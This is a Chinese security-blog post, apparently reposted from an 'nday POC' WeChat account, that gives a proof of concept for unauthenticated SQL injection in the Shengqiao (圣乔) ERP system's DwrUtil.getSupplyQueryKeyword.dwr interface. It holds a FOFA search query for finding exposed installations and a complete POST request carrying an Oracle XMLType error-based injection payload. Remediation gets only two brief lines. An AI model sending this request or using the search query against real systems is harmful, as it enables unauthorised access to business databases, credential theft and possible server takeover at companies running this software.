圣乔ERP系统 DwrUtil SQL注入漏洞 POC

admin
admin
admin
138876
文章
114
评论
2025年1月6日09:35:42评论7 views字数 1184阅读3分56秒阅读模式
 

00
产品简介
圣乔ERP系统是杭州圣乔科技有限公司开发的一款企业级管理软件，旨在为企业提供一套全面、集成化的管理解决方案，帮助企业实现资源的优化配置和高效利用。该系统集成了财务、人力资源、生产、销售、供应链等多个业务模块，实现了企业内外部信息的无缝连接和实时共享。适用于各种规模的企业，特别是需要实现资源优化配置、提高运营效率和管理水平的企业。它可以帮助企业解决传统管理方式中存在的信息孤岛、数据重复输入、信息传递滞后等问题，提高企业的整体竞争力。

01
漏洞概述

圣乔ERP系统 DwrUtil.getSupplyQueryKeyword.dwr 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

02
搜索引擎
FOFA:
title="圣乔ERP系统"
圣乔ERP系统 DwrUtil SQL注入漏洞 POC
03
漏洞复现
POST /erp/dwr/call/plaincall/DwrUtil.getSupplyQueryKeyword.dwr HTTP/1.1Host: Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Priority: u=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0Content-Type: text/plainAccept-Encoding: gzip, deflatecallCount=1page=/erp/dwr/test/DwrUtilhttpSessionId=scriptSessionId=7D0BA25CD588C62EB9A08A089C7F368D561c0-scriptName=DwrUtilc0-methodName=getSupplyQueryKeywordc0-id=0c0-param0=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(122)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (99=99) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(122)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)batchId=9
圣乔ERP系统 DwrUtil SQL注入漏洞 POC
04
修复建议

1、关闭互联网暴露面或接口设置访问权限

2、对用户传入的参数进行限制

05

原文始发于微信公众号（nday POC）：圣乔ERP系统 DwrUtil SQL注入漏洞

 

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日09:35:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   圣乔ERP系统 DwrUtil SQL注入漏洞 POChttps://cn-sec.com/archives/3590363.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息